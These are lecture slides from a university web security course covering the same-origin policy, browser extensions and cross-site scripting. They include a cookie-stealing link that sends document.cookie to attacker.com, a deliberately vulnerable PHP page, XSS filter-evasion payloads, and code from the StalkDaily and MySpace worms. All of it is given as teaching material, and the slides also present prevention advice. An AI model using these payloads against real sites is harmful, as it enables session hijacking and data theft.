Web Security
[Finish Browser Security Model; Start Web Application Security]

Winter 2021

David Kohlbrenner
dkohlbre@cs.washington.edu

Thanks to Franzi Roesner, Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...
Admin

• Lab 2
  • Signup out today
  • Details in Section

• HW2
  • Due today

• EC limit upped to 4
Web Security Overview

• Browser security model
  • Browser sandbox: isolate web from local machine
  • Same origin policy: isolate web content from different domains
  • Also: Isolation for plugins and extensions

• Web application security
  • How (not) to build a secure website
Same-Origin Policy Recap

• DOM/HTML
  • Only same origin content can access/modify DOM

• Cookies
  • Only same origin requests or scripts can access/modify cookies

• Some subtleties...
Same-Origin Policy: Scripts

• When a website **includes a script**, that script **runs in the context of the embedding website.**

```html
<script src="http://otherdomain.com/library.js"></script>
```

The code from **http://otherdomain.com** **can** access HTML elements and cookies on **www.example.com**.

• What could possibly go wrong...?
Foreshadowing:
SOP Does Not Control Sending

• A webpage can **send** information to any site
• Can use this to send out secrets…
Example: Cookie Theft

• Cookies often contain authentication token
  • Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
  <a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie='+document.cookie; return false;">Click here!</a>

• Aside: Cookie theft via network eavesdropping
  • Cookies included in HTTP requests
  • One of the reasons HTTPS is important!
Cross-Origin Communication

• Sometimes you want to do it...
• Cross-origin network requests
  • Access-Control-Allow-Origin: <list of domains>
    • Unfortunately, often:
      Access-Control-Allow-Origin: *
• Cross-origin client side communication
  • HTML5 postMessage between frames
    • Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- Increases browser’s attack surface

---

**Java and Flash both vulnerable—again—to new 0-day attacks**

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
“As of mid-October 2020, users started being prompted by Adobe to uninstall Flash Player on their machines since Flash-based content will be blocked from running in Adobe Flash Player after the EOL Date.”
What about Browser Extensions?

- Most things you use today are probably extensions
- **Examples:** AdBlock, Ghostery, Mailvelope
- **Goal:** Extend the functionality of the browser

- (Chrome:) Carefully designed security model to **protect from malicious websites**
  - **Privilege separation:** extensions consist of multiple components with well-defined communication
  - **Least privilege:** extensions request permissions
What about Browser Extensions?

• But be wary of malicious extensions: not subject to the same-origin policy – can inject code into any webpage!
Extensions in flux

• Google has (attempted) to standardize how extensions work

• “Manifest v3” is the new specification
  • Upsends how extensions get access to pages
  • Changes how they can execute code

• Generally, slow progress towards making them safer to use
Summing up browser security

• Browsers are the #1 consumer target today
  • Large attack surface
  • Many assets to protect
  • Wide usage
Web Application Security:
How (Not) to Build a Secure Website
Dynamic Web Application

GET / HTTP/1.1
HTTP/1.1 200 OK

Browser

Web server

index.php

Database server

Microsoft SQL Server
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication & Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards

http://www.owasp.org
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code

<input value=/routes.php echo $myvalue; />

• Can embed variables in double-quote strings

$user = “world”; echo “Hello $user!”;
or $user = “world”; echo “Hello” . $user . “!”;

• Form data in global arrays $_GET, $_POST, ...
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with

<html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>...</body>
Echoing / “Reflecting” User Input

naive.com/hello.php?name= Bob

Welcome, dear Bob

Welcome, dear

XSS – Quick Demo

```php
<?php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body><br><br>
<form action="vulnerable.php" method="get">
Name: <input type="text" name="name" size="80">
<input type="submit" value="submit"></form>
<br><br><br>
<div id="greeting">
<?php
$name = $_GET['name'];
if($name) { echo "Welcome ". $_GET['name'];}
?>
</div></body></html>
```

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Cross-Site Scripting (XSS)

victim’s browser

Forces victim’s browser to call hello.cgi on naive.com with this script as “name"

GET/steal.cgi?cookie=

GET/hello.cgi?name=

<HTML>Hello, dear
Welcome!</HTML>

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

evil.com
naive.com

hello.cgi executed
Basic Pattern for Reflected XSS

Injected script can manipulate website to show bogus information, leak sensitive data, cause user’s browser to attack other websites. This violates the “spirit” of the same origin policy.
Where Malicious Scripts Lurk

• User-created content
  • Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  • Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Attack server injects malicious script.
2. User victim requests content.
3. User victim receives malicious script.
4. User victim views or downloads the content.
   - User victim's data is stolen.

Server victim gets the malicious script.
Stores the bad stuff.

User victim views or downloads content.
In all XSS there are 3 actors

• Adversary

• Server victim

• User victim
Reflected XSS
Stored XSS
Twitter Worm (2009)

• Can save URL-encoded data into Twitter profile
• Data **not** escaped when profile is displayed
• Result: StalkDaily XSS exploit
  • If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");

var ajaxConn = new XHConn();
aajaxConn.connect("/status/update", "POST",
"authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
aajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update")
```

Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML

• Remove / encode HTML special characters
  • Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  • In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  • In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

• Preventing injection of scripts into HTML is hard!
  • Blocking “<” and “>” is not enough
  • Event handlers, stylesheets, encoded inputs (%3C), etc.
  • phpBB allowed simple HTML tags like <b>

    <b c=""> onmouseover="script" x="<b">Hello<b>

• Beware of filter evasion tricks (XSS Cheat Sheet)
  • If filter allows quoting (of <script>, etc.), beware of malformed quoting:
    <IMG """"><SCRIPT>alert("XSS")</SCRIPT>"
  • Long UTF-8 encoding
  • Scripts are not only in <script>:
    <iframe src='https://bank.com/login' onload='steal()'>
MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
  • No <script>, <body>, onclick, <a href=javascript://>
• ... but does allow <div> tags for CSS.
  • <div style=“background:url(‘javascript:alert(1)’)”>
• But MySpace will strip out “javascript”
  • Use “java<NEWLINE>script” instead
• But MySpace will strip out quotes
  • Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of...interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  • Was adding 1,000 friends per second at its peak